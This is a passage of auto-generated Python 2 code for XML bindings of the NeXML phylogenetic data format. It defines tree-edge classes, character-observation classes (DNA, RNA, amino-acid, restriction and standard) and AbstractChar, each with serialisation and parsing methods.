type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class TreeIntEdge class TreeFloatRootEdge(AbstractRootEdge): """A concrete root edge implementation, with float length.""" subclass = None superclass = AbstractRootEdge def __init__(self, about=None, meta=None, label=None, id=None, length=None, target=None, valueOf_=None): super(TreeFloatRootEdge, self).__init__(about, meta, label, id, length, target, ) self.length = _cast(float, length) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if TreeFloatRootEdge.subclass: return TreeFloatRootEdge.subclass(*args_, **kwargs_) else: return TreeFloatRootEdge(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_length(self): return self.length def set_length(self, length): self.length = length def export(self, outfile, level, namespace_='', name_='TreeFloatRootEdge', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='TreeFloatRootEdge') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='TreeFloatRootEdge'): super(TreeFloatRootEdge, self).exportAttributes(outfile, level, already_processed, namespace_, name_='TreeFloatRootEdge') if self.length is not None and 'length' not in already_processed: already_processed.append('length') outfile.write(' length="%s"' % self.gds_format_double(self.length, input_name='length')) def exportChildren(self, outfile, level, namespace_='', name_='TreeFloatRootEdge', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(TreeFloatRootEdge, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='TreeFloatRootEdge'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.length is not None and 'length' not in already_processed: already_processed.append('length') showIndent(outfile, level) outfile.write('length = %e,\n' % (self.length,)) super(TreeFloatRootEdge, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(TreeFloatRootEdge, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('length', node) if value is not None and 'length' not in already_processed: already_processed.append('length') try: self.length = float(value) except ValueError, exp: raise ValueError('Bad float/double attribute (length): %s' % exp) super(TreeFloatRootEdge, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class TreeFloatRootEdge class TreeFloatEdge(AbstractEdge): """A concrete edge implementation, with float length.""" subclass = None superclass = AbstractEdge def __init__(self, about=None, meta=None, label=None, id=None, source=None, length=None, target=None, valueOf_=None): super(TreeFloatEdge, self).__init__(about, meta, label, id, source, length, target, ) self.length = _cast(float, length) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if TreeFloatEdge.subclass: return TreeFloatEdge.subclass(*args_, **kwargs_) else: return TreeFloatEdge(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_length(self): return self.length def set_length(self, length): self.length = length def export(self, outfile, level, namespace_='', name_='TreeFloatEdge', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='TreeFloatEdge') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='TreeFloatEdge'): super(TreeFloatEdge, self).exportAttributes(outfile, level, already_processed, namespace_, name_='TreeFloatEdge') if self.length is not None and 'length' not in already_processed: already_processed.append('length') outfile.write(' length="%s"' % self.gds_format_double(self.length, input_name='length')) def exportChildren(self, outfile, level, namespace_='', name_='TreeFloatEdge', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(TreeFloatEdge, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='TreeFloatEdge'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.length is not None and 'length' not in already_processed: already_processed.append('length') showIndent(outfile, level) outfile.write('length = %e,\n' % (self.length,)) super(TreeFloatEdge, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(TreeFloatEdge, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('length', node) if value is not None and 'length' not in already_processed: already_processed.append('length') try: self.length = float(value) except ValueError, exp: raise ValueError('Bad float/double attribute (length): %s' % exp) super(TreeFloatEdge, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class TreeFloatEdge class StandardObs(AbstractObs): """This is a single cell in a matrix containing a standard observation.""" subclass = None superclass = AbstractObs def __init__(self, about=None, meta=None, label=None, char=None, state=None, valueOf_=None): super(StandardObs, self).__init__(about, meta, label, char, state, ) self.char = _cast(None, char) self.state = _cast(None, state) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if StandardObs.subclass: return StandardObs.subclass(*args_, **kwargs_) else: return StandardObs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def get_state(self): return self.state def set_state(self, state): self.state = state def export(self, outfile, level, namespace_='', name_='StandardObs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardObs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardObs'): super(StandardObs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardObs') if self.char is not None and 'char' not in already_processed: already_processed.append('char') outfile.write(' char=%s' % (self.gds_format_string(quote_attrib(self.char).encode(ExternalEncoding), input_name='char'), )) if self.state is not None and 'state' not in already_processed: already_processed.append('state') outfile.write(' state=%s' % (self.gds_format_string(quote_attrib(self.state).encode(ExternalEncoding), input_name='state'), )) def exportChildren(self, outfile, level, namespace_='', name_='StandardObs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(StandardObs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardObs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.char is not None and 'char' not in already_processed: already_processed.append('char') showIndent(outfile, level) outfile.write('char = "%s",\n' % (self.char,)) if self.state is not None and 'state' not in already_processed: already_processed.append('state') showIndent(outfile, level) outfile.write('state = "%s",\n' % (self.state,)) super(StandardObs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardObs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('char', node) if value is not None and 'char' not in already_processed: already_processed.append('char') self.char = value value = find_attr_value_('state', node) if value is not None and 'state' not in already_processed: already_processed.append('state') self.state = value super(StandardObs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class StandardObs class RNAObs(AbstractObs): """This is a single cell in a matrix containing an RNA nucleotide observation.""" subclass = None superclass = AbstractObs def __init__(self, about=None, meta=None, label=None, char=None, state=None, valueOf_=None): super(RNAObs, self).__init__(about, meta, label, char, state, ) self.char = _cast(None, char) self.state = _cast(None, state) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if RNAObs.subclass: return RNAObs.subclass(*args_, **kwargs_) else: return RNAObs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def get_state(self): return self.state def set_state(self, state): self.state = state def export(self, outfile, level, namespace_='', name_='RNAObs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNAObs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAObs'): super(RNAObs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAObs') if self.char is not None and 'char' not in already_processed: already_processed.append('char') outfile.write(' char=%s' % (self.gds_format_string(quote_attrib(self.char).encode(ExternalEncoding), input_name='char'), )) if self.state is not None and 'state' not in already_processed: already_processed.append('state') outfile.write(' state=%s' % (self.gds_format_string(quote_attrib(self.state).encode(ExternalEncoding), input_name='state'), )) def exportChildren(self, outfile, level, namespace_='', name_='RNAObs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(RNAObs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAObs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.char is not None and 'char' not in already_processed: already_processed.append('char') showIndent(outfile, level) outfile.write('char = "%s",\n' % (self.char,)) if self.state is not None and 'state' not in already_processed: already_processed.append('state') showIndent(outfile, level) outfile.write('state = "%s",\n' % (self.state,)) super(RNAObs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAObs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('char', node) if value is not None and 'char' not in already_processed: already_processed.append('char') self.char = value value = find_attr_value_('state', node) if value is not None and 'state' not in already_processed: already_processed.append('state') self.state = value super(RNAObs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class RNAObs class RestrictionObs(AbstractObs): """This is a single cell in a matrix containing a restriction site observation.""" subclass = None superclass = AbstractObs def __init__(self, about=None, meta=None, label=None, char=None, state=None, valueOf_=None): super(RestrictionObs, self).__init__(about, meta, label, char, state, ) self.char = _cast(None, char) self.state = _cast(None, state) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if RestrictionObs.subclass: return RestrictionObs.subclass(*args_, **kwargs_) else: return RestrictionObs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def get_state(self): return self.state def set_state(self, state): self.state = state def export(self, outfile, level, namespace_='', name_='RestrictionObs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionObs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionObs'): super(RestrictionObs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionObs') if self.char is not None and 'char' not in already_processed: already_processed.append('char') outfile.write(' char=%s' % (self.gds_format_string(quote_attrib(self.char).encode(ExternalEncoding), input_name='char'), )) if self.state is not None and 'state' not in already_processed: already_processed.append('state') outfile.write(' state=%s' % (self.gds_format_string(quote_attrib(self.state).encode(ExternalEncoding), input_name='state'), )) def exportChildren(self, outfile, level, namespace_='', name_='RestrictionObs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(RestrictionObs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionObs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.char is not None and 'char' not in already_processed: already_processed.append('char') showIndent(outfile, level) outfile.write('char = "%s",\n' % (self.char,)) if self.state is not None and 'state' not in already_processed: already_processed.append('state') showIndent(outfile, level) outfile.write('state = "%s",\n' % (self.state,)) super(RestrictionObs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionObs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('char', node) if value is not None and 'char' not in already_processed: already_processed.append('char') self.char = value value = find_attr_value_('state', node) if value is not None and 'state' not in already_processed: already_processed.append('state') self.state = value super(RestrictionObs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class RestrictionObs class AAObs(AbstractObs): """This is a single cell in a matrix containing an amino acid observation.""" subclass = None superclass = AbstractObs def __init__(self, about=None, meta=None, label=None, char=None, state=None, valueOf_=None): super(AAObs, self).__init__(about, meta, label, char, state, ) self.char = _cast(None, char) self.state = _cast(None, state) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if AAObs.subclass: return AAObs.subclass(*args_, **kwargs_) else: return AAObs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def get_state(self): return self.state def set_state(self, state): self.state = state def export(self, outfile, level, namespace_='', name_='AAObs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAObs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAObs'): super(AAObs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAObs') if self.char is not None and 'char' not in already_processed: already_processed.append('char') outfile.write(' char=%s' % (self.gds_format_string(quote_attrib(self.char).encode(ExternalEncoding), input_name='char'), )) if self.state is not None and 'state' not in already_processed: already_processed.append('state') outfile.write(' state=%s' % (self.gds_format_string(quote_attrib(self.state).encode(ExternalEncoding), input_name='state'), )) def exportChildren(self, outfile, level, namespace_='', name_='AAObs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(AAObs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAObs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.char is not None and 'char' not in already_processed: already_processed.append('char') showIndent(outfile, level) outfile.write('char = "%s",\n' % (self.char,)) if self.state is not None and 'state' not in already_processed: already_processed.append('state') showIndent(outfile, level) outfile.write('state = "%s",\n' % (self.state,)) super(AAObs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAObs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('char', node) if value is not None and 'char' not in already_processed: already_processed.append('char') self.char = value value = find_attr_value_('state', node) if value is not None and 'state' not in already_processed: already_processed.append('state') self.state = value super(AAObs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class AAObs class DNAObs(AbstractObs): """This is a single cell in a matrix containing a nucleotide observation.""" subclass = None superclass = AbstractObs def __init__(self, about=None, meta=None, label=None, char=None, state=None, valueOf_=None): super(DNAObs, self).__init__(about, meta, label, char, state, ) self.char = _cast(None, char) self.state = _cast(None, state) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if DNAObs.subclass: return DNAObs.subclass(*args_, **kwargs_) else: return DNAObs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def get_state(self): return self.state def set_state(self, state): self.state = state def export(self, outfile, level, namespace_='', name_='DNAObs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAObs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAObs'): super(DNAObs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAObs') if self.char is not None and 'char' not in already_processed: already_processed.append('char') outfile.write(' char=%s' % (self.gds_format_string(quote_attrib(self.char).encode(ExternalEncoding), input_name='char'), )) if self.state is not None and 'state' not in already_processed: already_processed.append('state') outfile.write(' state=%s' % (self.gds_format_string(quote_attrib(self.state).encode(ExternalEncoding), input_name='state'), )) def exportChildren(self, outfile, level, namespace_='', name_='DNAObs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(DNAObs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAObs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.char is not None and 'char' not in already_processed: already_processed.append('char') showIndent(outfile, level) outfile.write('char = "%s",\n' % (self.char,)) if self.state is not None and 'state' not in already_processed: already_processed.append('state') showIndent(outfile, level) outfile.write('state = "%s",\n' % (self.state,)) super(DNAObs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAObs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('char', node) if value is not None and 'char' not in already_processed: already_processed.append('char') self.char = value value = find_attr_value_('state', node) if value is not None and 'state' not in already_processed: already_processed.append('state') self.state = value super(DNAObs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class DNAObs class AbstractChar(IDTagged): """The AbstractChar type is the superclass for a column definition, which may have a "states" attribute that refers to an AbstractStates element, a codon attribute of type CodonPosition and an id attribute that may be an actual id (e.g. for categorical matrices where observations explicitly refer to a column definition) or an integer for sequence matrices.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, tokens=None, states=None, codon=None, valueOf_=None): super(AbstractChar, self).__init__(about, meta, label, id, ) self.tokens = _cast(None, tokens) self.states = _cast(None, states) self.codon = _cast(None, codon) pass def factory(*args_, **kwargs_): if AbstractChar.subclass: return AbstractChar.subclass(*args_, **kwargs_) else: return AbstractChar(*args_, **kwargs_) factory = staticmethod(factory) def get_tokens(self): return self.tokens def set_tokens(self, tokens): self.tokens = tokens def validate_MSTokenLength(self, value): # Validate type MSTokenLength, a restriction on xs:positiveInteger. pass def get_states(self): return self.states def set_states(self, states): self.states = states def get_codon(self): return self.codon def set_codon(self, codon): self.codon = codon def validate_CodonPosition(self, value): # Validate type CodonPosition, a restriction on xs:nonNegativeInteger. pass def export(self, outfile, level, namespace_='', name_='AbstractChar', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractChar') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractChar"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractChar'): super(AbstractChar, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractChar') if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') outfile.write(' tokens=%s' % (quote_attrib(self.tokens), )) if self.states is not None and 'states' not in already_processed: already_processed.append('states') outfile.write(' states=%s' % (self.gds_format_string(quote_attrib(self.states).encode(ExternalEncoding), input_name='states'), )) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') outfile.write(' codon=%s' % (quote_attrib(self.codon), )) def exportChildren(self, outfile, level, namespace_='', name_='AbstractChar', fromsubclass_=False): super(AbstractChar, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(AbstractChar, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractChar'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') showIndent(outfile, level) outfile.write('tokens = %d,\n' % (self.tokens,)) if self.states is not None and 'states' not in already_processed: already_processed.append('states') showIndent(outfile, level) outfile.write('states = "%s",\n' % (self.states,)) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') showIndent(outfile, level) outfile.write('codon = %d,\n' % (self.codon,)) super(AbstractChar, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractChar, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('tokens', node) if value is not None and 'tokens' not in already_processed: already_processed.append('tokens') try: self.tokens = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.tokens <= 0: raise_parse_error(node, 'Invalid 